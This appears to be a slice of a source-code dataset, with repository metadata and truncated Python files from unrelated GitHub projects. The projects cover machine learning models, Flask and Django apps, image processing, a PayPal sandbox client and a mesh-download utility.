] | noreply@github.com |
a5f7cc13c7c9c1db52f16bc82087b3766a22af07 | 9c00ea40b8bbb2a95336fbe05e46c2ec79e8fad4 | /srpc/lib/client.py | 2b3b06f9a6f160c9a3180478f9912bb3ea6d960c | [
"BSD-3-Clause-Clear",
"BSD-2-Clause"
] | permissive | jaytlang/srpc | 23baadf632f7f9d0b6e51658d2db037878e23324 | 446fcf91af2c3502b7b146fb99c895119164bc81 | refs/heads/master | 2023-02-07T22:17:03.475844 | 2020-12-24T19:06:07 | 2020-12-24T19:06:07 | 314,916,018 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,074 | py | import asyncio
import logging
import json
from typing import Optional, Dict, Type, TypeVar
from types import TracebackType
from srpc.srv.dat import Message, SSLContextBuilder, encode_message, decode_message
from srpc.nine.dat import MessageType, AuthRequest, AuthResponse, AttachRequest, AttachResponse, \
WalkReque... | [
"r_rahman@mit.edu"
] | r_rahman@mit.edu |
0f03a2ac1686b80d47dda000ad3fd21ef99f7f7a | 1ef68ba8f4754bf4d4d86d945bb1392be3ff5beb | /mlagents/envs/communicator_objects/custom_action_pb2.py | 1c16809b0b0d05a34b2fe0fb5193e54c3337f10e | [
"MIT"
] | permissive | Abluceli/HRG-SAC | fc1b5fb720f391390b0ac86c23c46187178a3691 | 334df1e8afbfff3544413ade46fb12f03556014b | refs/heads/master | 2022-12-29T22:51:35.584254 | 2020-02-19T13:39:23 | 2020-02-19T13:39:23 | 241,630,517 | 7 | 1 | MIT | 2022-12-08T06:18:57 | 2020-02-19T13:36:58 | Python | UTF-8 | Python | false | true | 1,939 | py | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: mlagents/envs/communicator_objects/custom_action.proto
import sys
_b = sys.version_info[0] < 3 and (lambda x: x) or (lambda x: x.encode("latin1"))
from google.protobuf import descriptor as _descriptor
from google.protobuf imp... | [
"787873309@qq.com"
] | 787873309@qq.com |
bc4c5c626b4f087c09374c90235ca977c3bfdbe5 | f6e8ef7f7005d4ec7fc9ce49572c78c3cbf9c539 | /feature_extractor.py | f694eeabede3a56b05b10d0962b1ffbeda1f59b1 | [] | no_license | ckhui/DL-shopee | 11492b57121930366a518b76bb4d4ad46f0fcd50 | faa73081d9da88f3693754112a9202867343f59a | refs/heads/master | 2023-06-04T01:13:23.113205 | 2021-07-03T10:50:16 | 2021-07-03T10:50:16 | 366,577,087 | 0 | 2 | null | 2021-06-08T13:13:37 | 2021-05-12T03:07:32 | Jupyter Notebook | UTF-8 | Python | false | false | 2,789 | py | import pandas as pd
import numpy as np
import torch
import gc
from tqdm import tqdm
import transformers
from model.recognition.ShopeeCurricularFaceModel import ShopeeCurricularFaceModel
from model.nlp.tfidf import TFIDF_feateure
from model.nlp.BERT import BERTNet
from dataset.ImageDataloader import BuildInferDataload... | [
"ckhanghui@gmail.com"
] | ckhanghui@gmail.com |
61cfc78e1f431b2f9019f4d31168dffe45a6f367 | 62299fdd9bba0ad48ecd26840d051717f76c35c9 | /15_histo_equalize.py | 4fbdc526d21725fb0213c6cbacbe2ee76eee151f | [] | no_license | hei-jung/study-opencv | bd3c764e3a5bf930e92f0d38f51a39730c90dda1 | cfbc60ee21f3216e5a62cdac2ce97c40c8b5a4dd | refs/heads/master | 2022-12-07T09:58:47.043241 | 2020-09-04T13:54:11 | 2020-09-04T13:54:11 | 292,859,414 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,191 | py | import cv2
import numpy as np
from matplotlib import pyplot as plt
# numpy 사용
img = cv2.imread('foggy.jpg')
print('img=', end='')
print(img)
hist, bins = np.histogram(img.flatten(), 256, [0, 256])
cdf = hist.cumsum()
cdf_m = np.ma.masked_equal(cdf, 0)
cdf_m = (cdf_m - cdf_m.min())*255/(cdf_m.max() - cdf_m.min())
... | [
"heijung.jang@hotmail.com"
] | heijung.jang@hotmail.com |
97e4669eaaef04e481d3c1a28889378009c43f5e | c97ae1cc922a037484c5d4794d0a657561cf47f3 | /config.py | 53c8a1a210fb59cef99d47b41017842907143b96 | [] | no_license | AlenAlic/clubpromoters | 3059078b02b77745e7a1e49d998f9d24554082e8 | f44b3b20c20d5669c1658036cea35fb9a4f223fc | refs/heads/master | 2022-12-11T14:38:37.824769 | 2019-09-08T19:02:49 | 2019-09-08T19:02:49 | 190,430,315 | 0 | 0 | null | 2022-12-09T22:02:49 | 2019-06-05T16:29:25 | JavaScript | UTF-8 | Python | false | false | 664 | py | import os
basedir = os.path.abspath(os.path.dirname(__file__))
ENV = 'development'
SECRET_KEY = 'test-key'
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'app.db?check_same_thread=False')
SQLALCHEMY_ECHO = False
SQLALCHEMY_TRACK_MODIFICATIONS = False
SQLALCHEMY_RECORD_QUERIES = False
# MAIL SERVERS
#... | [
"aalic89@gmail.com"
] | aalic89@gmail.com |
6efa36e7800426966c3eef43e57d076a792fd5cb | 1e4e3e4eeeb49a2e023fb82d634a88095226a3d4 | /server-client/ImageCaptionBaseline.py | 70740803ce5e681eb409be92d7abcd3ebd71a0b9 | [] | no_license | elbobrova/Broutonlab_course | a8682897e645b315d921dc1766b328240c91c982 | 13f86fa5458ddfc45e73b810ef021de28ca3a141 | refs/heads/master | 2023-04-15T09:56:39.344787 | 2021-04-28T09:16:51 | 2021-04-28T09:16:51 | 339,043,089 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,907 | py | import random
from _warnings import warn
import pickle
import numpy as np
import json
from matplotlib import pyplot as plt
from PIL import Image
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from sklearn.model_selection import train_test_split
from nltk.trans... | [
"noreply@github.com"
] | noreply@github.com |
380d34e9731daa55c6f70d3e860fe21844cf1912 | 32c56293475f49c6dd1b0f1334756b5ad8763da9 | /google-cloud-sdk/lib/googlecloudsdk/core/util/semver.py | 8fa1edb39fbcb2ec9cf241dd02e65fa0e28e8c38 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0",
"MIT"
] | permissive | bopopescu/socialliteapp | b9041f17f8724ee86f2ecc6e2e45b8ff6a44b494 | 85bb264e273568b5a0408f733b403c56373e2508 | refs/heads/master | 2022-11-20T03:01:47.654498 | 2020-02-01T20:29:43 | 2020-02-01T20:29:43 | 282,403,750 | 0 | 0 | MIT | 2020-07-25T08:31:59 | 2020-07-25T08:31:59 | null | UTF-8 | Python | false | false | 6,611 | py | # -*- coding: utf-8 -*- #
# Copyright 2015 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | [
"jonathang132298@gmail.com"
] | jonathang132298@gmail.com |
93132e5a7bec987c279c4ff99ac76ea45017c56e | 7f19efb1d0eb5f99362b312c0ba05b3562831142 | /deleteStudentLine.py | 78ef98277024fe07f6516116347ccbd509cfb748 | [] | no_license | igakilab/progAI | 7bb4c0e3cc318121607117a5f876394d32c6c14c | 8ea3cf293cd72ba9ab007b4b134027acc1ed85ae | refs/heads/master | 2020-12-02T21:08:23.774407 | 2017-07-07T00:21:27 | 2017-07-07T00:21:27 | 96,261,167 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,361 | py | #command
#python prog2mongo.py ../result-padv17-lec05-2017-0518
#テストのために不要な学生データをshowlogall.txtから間引く
#original fileはshowlogall.txt.orgとして保存
import os
import sys
import shutil
def delete_studentline_from_showlog(siddir):
shutil.copy2(siddir,siddir+'.org')
os.remove(siddir)
original = open(siddir+'.org', 'r... | [
"github@musictale.net"
] | github@musictale.net |
12cb0db952584376812f6d857202354235ce736c | 78384354a0ffcf31b7b000976faca55b120d19d7 | /Servis/migrations/0005_auto_20170730_0757.py | 3fa98aa254f29fb43c9c7e55b340adc85214fa47 | [] | no_license | kodgem/defterimserver | dfcbe55d980918e3de036984fdc7da96c46640dc | 6bbb36e048af7fa0c1460018042b7c4f865ce732 | refs/heads/master | 2021-01-01T20:13:49.642782 | 2017-07-30T14:03:47 | 2017-07-30T14:03:47 | 98,792,440 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,468 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-07-30 07:57
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('Servis', '0004_auto_20170729_1439'),
... | [
"fatihdurmaz.93@gmail.com"
] | fatihdurmaz.93@gmail.com |
c207ab4e77b7c75f40d91f00971355e5127df58b | 9d482473d1434b95bef9617a7cc7b6076909341d | /0x08-python-more_classes/1-rectangle.py | f7a669b2509817c90e06545750033380de70ffae | [] | no_license | helectron/holbertonschool-higher_level_programming | eb7c90ed440b563f315b9085099481f526e1a71b | 389aeca27c512a2a6280c84f81df030eb0146403 | refs/heads/main | 2023-06-20T06:01:54.171762 | 2021-06-27T19:13:22 | 2021-06-27T19:13:22 | 319,505,866 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,106 | py | #!/usr/bin/python3
'''
This module creates an
empty class Rectangle
'''
class Rectangle:
'''A class that defines a rectangle'''
def __init__(self, width=0, height=0):
'''Instantiation
of an object based on a
rectangle class
'''
self.width = width
self.height = h... | [
"helena.cortes@udea.edu.co"
] | helena.cortes@udea.edu.co |
8de8ea6b1c58ca9b9e86f7823a753e50cc5c3b33 | 553e6acd1019bb2c7d6a1b08009ca50ef2fa0ad1 | /mammoth/optim.py | b7f17e1cecf96cd1842270f07004067b512eda4a | [] | no_license | bkj/mammoth | ac0cfd6f8c5165ce72a5a7e591a938cf823270d3 | 0bd0122b5bac5ce897436a2318cb47b2fbc84164 | refs/heads/master | 2021-05-15T00:23:48.290164 | 2018-07-26T16:15:23 | 2018-07-26T16:15:23 | 103,467,821 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,805 | py | #!/usr/bin/env python
"""
optim.py
"""
import math
import torch
import numpy as np
class LambdaAdam(torch.optim.Optimizer):
"""
ADAM optimizer that mimics hypergrads
- Difference is addition of `lam` parameter. I noticed that my hypergrad test was converging
to eps < 1e-10. Setting ... | [
"bkj.322@gmail.com"
] | bkj.322@gmail.com |
8cf1a9534a126b14369a0c65201592f19a07b52f | 7a1a65b0cda41ea204fad4848934db143ebf199a | /automatedprocesses_firststage/adsym_InventorySources_v2_DD_testapi.py | 3f6dcf9326e7f74dfb04f362aaeebd1489663c43 | [] | no_license | bpopovich44/ReaperSec | 4b015e448ed5ce23316bd9b9e33966373daea9c0 | 22acba4d84313e62dbbf95cf2a5465283a6491b0 | refs/heads/master | 2021-05-02T18:26:11.875122 | 2019-06-22T15:02:09 | 2019-06-22T15:02:09 | 120,664,056 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,719 | py | #!/usr/bin/python2.7
import json
from mysql.connector import MySQLConnection, Error
from python_dbconfig import read_db_config
import aol_api
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dl"
# Connect To DB:
db_config = read_db_config(db)
try:
print(... | [
"bpopovich4@gmail.com"
] | bpopovich4@gmail.com |
15821490dbe506e085349d94f42fd7cd1baf10c7 | 5d32fdc7e3f520a4877ecd14eeed395e180ce0ec | /app.py | 6f073b9c97c4d8138397c01b84c546958d797420 | [] | no_license | SyedaMeem/fakerealnews | 58719e14a7fbd356dbd9696f459a76b55238a075 | 222f3c12d325d78eabe42608edc7e7f5ceea5f2e | refs/heads/main | 2023-06-03T17:16:13.457598 | 2021-06-18T20:47:03 | 2021-06-18T20:47:03 | 376,507,176 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,375 | py | ##--------Loading all libraries--------------------------------
from flask import Flask,render_template,url_for,request,jsonify,redirect,session
import re
import pickle
#pip install numpy==1.19.3
import numpy as np
import json
import pandas as pd
#pip install tensorflow==2.3.0
import tensorflow as tf
from tensorflow.k... | [
"syedajannat14@gmail.com"
] | syedajannat14@gmail.com |
b16d5613be5a483877d451567c5a77bfe1ca3498 | 398c497659528fcf0158281b5fe274d913d75546 | /leapyear.py | 9e287d4efd83db1d273400029c483640ba804320 | [] | no_license | NikilNair/Homework-7 | 243a8b383404e115f9a2b3819dfa3b8c683deea9 | d6a9396a9834a7f9f0facec130f704c32a1fe01b | refs/heads/master | 2023-03-22T17:52:14.281517 | 2021-03-08T04:05:55 | 2021-03-08T04:05:55 | 345,463,683 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 363 | py | def program(val):
if val % 4 != 0:
return "This is not a leap year"
elif val % 4 == 0 and val % 100 != 0:
return "This is a leap year"
elif val % 4 == 0 and val % 100 == 0 and val % 400 == 0:
return "This is a leap year"
elif val % 4 == 0 and val % 100 == 0 and val % 400 != 0:
... | [
"nairni@oregonstate.edu"
] | nairni@oregonstate.edu |
015ecdcbf20a07ae34cbabfbb0b5cf1ecd27db5f | b4ebdbd367779a2d9f2225921093799d0baa8bdb | /multiple_DMA.py | d93b32176c6cbf417fb7ee5aeb38c8b92f303f8e | [] | no_license | ElineBogers/Dynamic-Mechanical-Analysis | e8788abf0f51c6a75701369fae27d68b2bd50ade | d8d13ec4da7aada1ce024d28156bbe4d1559f626 | refs/heads/main | 2023-06-09T03:23:43.713131 | 2021-05-04T09:49:53 | 2021-05-04T09:49:53 | 363,980,853 | 1 | 0 | null | 2021-05-04T08:34:26 | 2021-05-03T15:46:58 | Python | UTF-8 | Python | false | false | 4,236 | py | import math
import numpy as np
import matplotlib.pyplot as plt
from nptdms import TdmsFile
import os
import def_period
import def_FFT
import def_lock_in
import def_reference
import def_butter_lowpass
#to determine how many frequencies have to be found from local maxima
amount_freqs = 5
#define phase and... | [
"noreply@github.com"
] | noreply@github.com |
2d9a8de94ae45ae4a5c48d7faa4ae8804bc9446e | ae29eab0e53decfa14787d496cb3d041f158337b | /misc/process_BBVS_vanhees.py | 49c363f4ac6791d56d2c30d00aa31d012a72459d | [
"MIT",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | CyclotronResearchCentre/HypnosPy | c76f5cb98c4c004932d5ed32cb526f04317a65ac | 57d1feec32baf02023bb6413bdf2ad9a5a0c6bac | refs/heads/master | 2023-01-13T22:08:00.067865 | 2020-11-23T21:25:33 | 2020-11-23T21:25:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,822 | py | import os
import tempfile
from glob import glob
import pandas as pd
from hypnospy import Wearable
from hypnospy.data import RawProcessing
from hypnospy.analysis import TimeSeriesProcessing
from hypnospy.analysis import PhysicalActivity
from hypnospy import Experiment
from hypnospy import Diary
from argparse import Ar... | [
"joaopalotti@gmail.com"
] | joaopalotti@gmail.com |
4c9546ef43ba12975ba1854d3ee8b8fd4fa89b31 | 655cdaa724fc67a44eefef12d8cc4f78aa0b4ba6 | /Report_Test/Login.py | 4a6feadad8e098babaf69aba600c6bc132995265 | [] | no_license | keit1216/Report | a383a14bf4148171e3c9b015a3f20c0c24007c54 | 6f12bb4fbdf8c1536f41ebae554655ee39324b6b | refs/heads/master | 2021-06-27T03:31:34.943616 | 2020-12-07T07:41:14 | 2020-12-07T07:41:14 | 192,664,871 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 104 | py | from flask import render_template
from flask.ext.bootstrap import Bootstrap
bootstrap = Bootstrap(app)
| [
""
] | |
8ccef5e8c6f4199cb3f0d6be6fff9ed381a700e1 | dbbac1574742b99ff4c29b1c32c2ee8221a38470 | /ygag/models.py | 1b533fafa15a2e4ee0dc61e1689f069f2f10fbf8 | [] | no_license | jamsheer/hbt | f7885cb482392e3a42fd1a10ccf7d8e87c20dd6e | 12d8cfda637751c23f76d90b077a89da4fc3342c | refs/heads/master | 2021-01-09T20:23:04.962027 | 2016-06-21T09:28:31 | 2016-06-21T09:28:31 | 61,602,792 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | from __future__ import unicode_literals
from django.db import models
# Create your models here.
class Name(models.Model):
name_text = models.CharField(max_length=200)
entry_date = models.DateTimeField('date added',auto_now=True)
def __str__(self):
return self.name_text
| [
"jamsheer.kandoth@gmail.com"
] | jamsheer.kandoth@gmail.com |
ac8b84de75926b53fde378511e50fc7db3f8fbca | 1343baefdd125475ab5844336481c6b1c77472f6 | /models/config/logger_parser.py | c8ce2ea0ce20355d22663662fc9544d54912e795 | [
"Apache-2.0"
] | permissive | aswinkp/pycryptobot | d1ab2c174346082443b1aa415fedc5b4c1aa8395 | f974df8cb2c1b8f34c9b622a78a99671b0db81c0 | refs/heads/main | 2023-06-15T20:45:06.865731 | 2021-05-30T22:29:44 | 2021-05-30T22:29:44 | 369,533,952 | 0 | 0 | Apache-2.0 | 2021-05-21T12:50:03 | 2021-05-21T12:50:03 | null | UTF-8 | Python | false | false | 2,358 | py | import re
from .default_parser import isCurrencyValid, defaultConfigParse, merge_config_and_args
from models.helper.LogHelper import Logger
def parser(app, logger_config):
print('Logger Configuration parser')
if not logger_config:
raise Exception('There is an error in your config dictionnary')
i... | [
"noreply@github.com"
] | noreply@github.com |
0f2011cb5b2aadf3215ef9f7b51b9c97d83a2488 | 43ab33b2f50e47f5dbe322daa03c86a99e5ee77c | /rcc/models/study_site_view_rpc.py | a9556784eb2812cdd56b265c2e06679096439101 | [] | no_license | Sage-Bionetworks/rcc-client | c770432de2d2950e00f7c7bd2bac22f3a81c2061 | 57c4a621aecd3a2f3f9faaa94f53b2727992a01a | refs/heads/main | 2023-02-23T05:55:39.279352 | 2021-01-21T02:06:08 | 2021-01-21T02:06:08 | 331,486,099 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,149 | py | # coding: utf-8
"""
nPhase REST Resource
REDCap REST API v.2 # noqa: E501
The version of the OpenAPI document: 2.0
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from rcc.configuration import Configuration
class StudySiteViewRpc(object):
"... | [
"thomas.yu@sagebase.org"
] | thomas.yu@sagebase.org |
1f8b9d0f62221cd8a4ea43b57dfb8951433fe248 | 5c81a33883e052070c557c76b5968aa501d5526e | /products/migrations/0005_attribute_attributeitem.py | 24c44104e06e383020c74f454c2c93a8a182519b | [] | no_license | worlddeleteRin/rabbit_vkusno | 2ebacdf72d87700d191965481c56e78bfec33e9b | 017cdff4b40fa7e9a0f7729e4f7b754f48e93c3a | refs/heads/master | 2023-04-03T23:32:42.770973 | 2021-04-08T06:43:04 | 2021-04-08T06:43:04 | 355,661,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,110 | py | # Generated by Django 3.0.8 on 2020-10-11 12:39
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('products', '0004_auto_20201010_1810'),
]
operations = [
migrations.CreateModel(
name='Attribute... | [
"noname@MacBook-Pro-Rin.local"
] | noname@MacBook-Pro-Rin.local |
1c051c4ee70a6eec7d35acf27efdf5c7011acf70 | 2fcdfbb67fe982124f93652b3712284569be6a89 | /xlnet/xlnet.py | a3e86546375e54383e6a229b0bf486a1c991d86c | [
"Apache-2.0"
] | permissive | arjunnlp/hedwig-anlp | 6a32d118a8520741980da656cb7306e6a86d10ef | b8f6c50d788509bc9e5670caeee3503257d716d0 | refs/heads/master | 2022-12-22T00:18:55.801104 | 2021-08-07T12:16:49 | 2021-08-07T12:16:49 | 196,488,043 | 3 | 1 | Apache-2.0 | 2022-12-14T01:17:35 | 2019-07-12T01:34:25 | Python | UTF-8 | Python | false | false | 21,506 | py | # -*- coding: utf-8 -*-
"""
Copyright 2019 Tae Hwan Jung
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed... | [
"dainis.boumber@gmail.com"
] | dainis.boumber@gmail.com |
e1e4b4d69c32aa23c099f2e2762bd9e74738a5c2 | 75b97fed2170fe844df25fc95f683208d01c3332 | /docs/conf.py | 735c8ae119f7dc4f6c7990e8c13fef49fe121909 | [
"Apache-2.0"
] | permissive | jonxly/appsvcs_integration_iapp | 6c69ba7b3ba1a55623617958c55c972cd56c920f | 4c03b93fcc93e5a3f023db76239c00ebcac7d80f | refs/heads/develop | 2020-12-24T10:57:55.084419 | 2016-11-08T19:48:02 | 2016-11-08T19:48:02 | 73,220,938 | 0 | 0 | null | 2016-11-08T19:42:47 | 2016-11-08T19:42:47 | null | UTF-8 | Python | false | false | 15,524 | py | # -*- coding: utf-8 -*-
#
# App Services Integration iApp documentation build configuration file, created by
# sphinx-quickstart on Tue Oct 4 11:43:19 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# aut... | [
"h.patel@f5.com"
] | h.patel@f5.com |
55d11a1f12e6188a1ad698f562dad455168768b3 | 4129ae27e90b3aa76187203e42aa0ecbae69216f | /img/test.py | b8e635ba0fa6d08d2030bb90c4ad0473dfa34e66 | [] | no_license | PinoJoe/WebCrawler | d1a6b84629832222cbebb1037f1cbc0771deadcf | 94929bc73bde98569b2992f8bc648c2f39afcccc | refs/heads/master | 2022-01-23T13:09:35.853177 | 2019-08-05T13:40:44 | 2019-08-05T13:40:44 | 122,821,572 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,406 | py | #-*-coding:utf-8 -*-
import urllib
from lxml import etree
import requests
import time
from contextlib import closing
def ProcessBar(blocknum, blocksize, totalsize):
speed = (blocknum * blocksize) / (time.time() - start_time)
speed_str = '下载速度: %s' % format_size(speed)
recv_size = blocknum * block... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
c6718906174fe386e41530fd28fb32886b9f73f0 | b49d6afe12cc1eac24548d164276c01d7949d9c2 | /assets/views.py | db2c6b5ba2ed118b12b60bbbbdee860d31ecffa7 | [] | no_license | tompkh/covid | 46864ad5dbc61e03b0a9620a6ff0d5265b063dae | 25b4363221a573aee5e9d9e7d8aa0f7c1cc30f7b | refs/heads/master | 2022-10-25T01:38:01.653485 | 2020-06-17T04:17:30 | 2020-06-17T04:17:30 | 272,175,791 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,947 | py | from django.shortcuts import render, get_object_or_404, redirect
from django.views.generic import ListView, TemplateView
from django.contrib.auth.decorators import login_required
from .models import Post
from django.utils import timezone
def home(request):
posts = Post.objects
return render(request, 'assets/ho... | [
"thomas.pouppez@gmail.com"
] | thomas.pouppez@gmail.com |
2cbf983911e50399c3a76fb804444089fce74a61 | c071eb46184635818e8349ce9c2a78d6c6e460fc | /system/python_stubs/-745935208/_ast/__init__/Global.py | e9f88c95a0171f4bb4c222f70243e1403b25fc9c | [] | no_license | sidbmw/PyCharm-Settings | a71bc594c83829a1522e215155686381b8ac5c6e | 083f9fe945ee5358346e5d86b17130d521d1b954 | refs/heads/master | 2020-04-05T14:24:03.216082 | 2018-12-28T02:29:29 | 2018-12-28T02:29:29 | 156,927,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 370 | py | # encoding: utf-8
# module _ast
# from C:\Users\siddh\AppData\Local\Programs\Python\Python37\lib\site-packages\pandas\util\_move.cp37-win_amd64.pyd
# by generator 1.146
# no doc
# no imports
from .stmt import stmt
class Global(stmt):
# no doc
def __init__(self, *args, **kwargs): # real signature unknown
... | [
"siddharthnatamai@gmail.com"
] | siddharthnatamai@gmail.com |
af7582913055c33dfb0d2fb42261bb2d00085cbd | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/55/usersdata/120/22966/submittedfiles/av2_p3_civil.py | ec623fcaf0928a3823b671b83b40cb785119d3ff | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 686 | py | # -*- coding: utf-8 -*-
from __future__ import division
import numpy as np
#definir somalinha
def somalinha(a,linha):
soma=0
for j in range(0,a.shape[1],1):
soma=soma+a[linha,j]
return somalinha
#definir somacoluna
def somacoluna(a,coluna):
soma=0
for i in range(0,a.shape[0],1):
... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
6a2a3c02b2c7682aa015e87131fff4389f39df8c | 39110d5d83ce551728ba7512fbfe8bf527405304 | /tools/bitflags_performance.py | 7e791093f47419d316a134de77a25deabf7f4787 | [] | no_license | naegelejd/luci | 7cf54ea9bfee088a02864493de5cd05bdbd94a6f | 173993676c4b4019661838d20648e97aa4a93ebc | refs/heads/master | 2021-01-01T17:57:31.393935 | 2015-05-05T15:09:05 | 2015-05-05T15:09:05 | 5,593,976 | 10 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,819 | py | """
Proof that intensive operations on an array of 32-bit flags is more
efficient than on arrays of either 16-bit or 64-bit flags, in terms of
total instruction count to set each bit.
The examples consist of 3 large flags of varying size:
1. 1024 bit flag
2. 768 bit flag
3. 512 bit flag
In each example, ... | [
"joseph.naegele@gmail.com"
] | joseph.naegele@gmail.com |
1c9a5d4bff954d049e96a0488d08da3a078d31aa | 0b4d2f7bf5705ace4ee426bb9ad5b2228630f557 | /book_store/checkout/paypal.py | 44779e81cf631b640d27f1681d010fa95d33cb04 | [
"MIT"
] | permissive | dientrungpy3/book_store | 0343b72c5bfdb9a497d568e3b5af3b9b5d5f2110 | 5009723cc2c2713498cabc54f06ade6c6c91aa2c | refs/heads/master | 2023-09-02T09:11:24.775159 | 2021-11-21T10:16:51 | 2021-11-21T10:16:51 | 421,084,171 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 433 | py | import sys
from paypalcheckoutsdk.core import PayPalHttpClient, SandboxEnvironment
class PayPalClient:
def __init__(self):
self.client_id = "AXh8m1Y-nMI2tniu6qPIHzF9lTzof_hc-QeLcp2ibW0S_uWjTkc8FAeHjtrrYjeFBKY5e0NamSkNkE0R"
self.client_secret = ""
self.environment = SandboxEnvironment(clie... | [
"dientrung.py3@gmail.com"
] | dientrung.py3@gmail.com |
ae60036246b37f6de131206dcf157e429f7dc150 | 027e4f76323389901ff52924876ef627a92e2cc6 | /src/libnrl/graph.py | 96a851a14a4bdb7b38e9cb1461d612832c2ec716 | [
"MIT"
] | permissive | crsqq/OpenNE | 8bbd71e9820e620dedc1cd8add24a4a16dccb712 | 0cecb2b5076b878d2f07ed1130682aeab6ce37f1 | refs/heads/master | 2021-04-26T22:34:13.160400 | 2018-06-19T11:42:34 | 2018-06-19T11:42:34 | 124,113,623 | 0 | 0 | MIT | 2018-04-20T16:46:59 | 2018-03-06T17:26:45 | Python | UTF-8 | Python | false | false | 3,445 | py | """Graph utilities."""
# from time import time
import networkx as nx
import pickle as pkl
import numpy as np
import scipy.sparse as sp
__author__ = "Zhang Zhengyan"
__email__ = "zhangzhengyan14@mails.tsinghua.edu.cn"
class Graph(object):
def __init__(self):
self.G = None
self.look_up_dict = {}
... | [
"zhangzhengyan14@mails.tsinghua.edu.cn"
] | zhangzhengyan14@mails.tsinghua.edu.cn |
5baafb7d4683f64e7fb1b14e8d092554c0fbf1de | ab074a4a6213fc177dfa0fbaf053100e2061ac04 | /src/mesh/download_meshes.py | ff0e0dbb64956038ff1849b6c7a3b2caf24d4928 | [] | no_license | jessej71/varglas | a67d43f5a796fd89d99c021d2b8ed4e496a8a935 | 33def5cb2ff4186ba63c38dd49f0773d3715e450 | refs/heads/dev | 2021-01-24T21:57:51.151832 | 2015-07-30T21:38:01 | 2015-07-30T21:38:01 | 29,558,705 | 0 | 0 | null | 2015-02-27T18:32:30 | 2015-01-20T22:34:08 | Python | UTF-8 | Python | false | false | 4,341 | py | import urllib2
import sys
import os
import zipfile
import tarfile
import inspect
def download_file(url, direc, folder, extract=False):
"""
download a file with url <url> into directory <direc>/<folder>. If <extract>
is True, extract the .zip file into the directory and delete the .zip file.
"""
# make the d... | [
"evan.cummings@umontana.edu"
] | evan.cummings@umontana.edu |
c30cc62cd5db0e2370e33feaeccafa5342d3dd40 | c887c0206ac21b53f618a5690cf14b742903e7a1 | /deteccionColision.py | 608038521047e2a66887e72ff9a25ef750b459b1 | [] | no_license | gus0117/pygame-libro | 82bff7dafbb9dac9373c60c2155c825a13243041 | bdcb75f6add992606416ff9fcefaac740c2aaf4f | refs/heads/master | 2023-06-11T02:27:24.888005 | 2021-07-05T21:06:37 | 2021-07-05T21:06:37 | 383,264,041 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,299 | py | import pygame, sys, random
from pygame.locals import *
def verifSuperpositionRects(rect1, rect2):
for a, b in [(rect1, rect2), (rect2, rect1)]:
# Verifica si las esquinas de a se encuentran dentro de b
if ((puntoDentroDeRect(a.left, a.top, b)) or
(puntoDentroDeRect(a.left, a.bottom, b))... | [
"gustavoalberto117@gmail.com"
] | gustavoalberto117@gmail.com |
fec93561f144ed5892601e99a09c6afd7b8236b4 | 52b5d8de509ec5edcb3d6ab8c02fef70ad0e5c3e | /software/mosek/7/tools/platform/osx64x86/python/2/mosek/fusion/__init__.py | 19dd79297cbc98e70ec1a0f4d2fa01411cf44a36 | [] | no_license | hkirvesl/Auto3dgm-matlab | 815d6e807159253ad50a5e2f786b429c8dd04557 | 1a0d9e7892dc158fbdb0a71ebf64655a5f02292e | refs/heads/master | 2020-03-31T10:43:50.742940 | 2018-10-08T22:24:31 | 2018-10-08T22:24:31 | 152,147,142 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,722,291 | py | ## Module: fusion
import array
#------ PRELUDE BEGIN
import threading
import mosek
import mosek.fusion
import mosek.array
import Utils
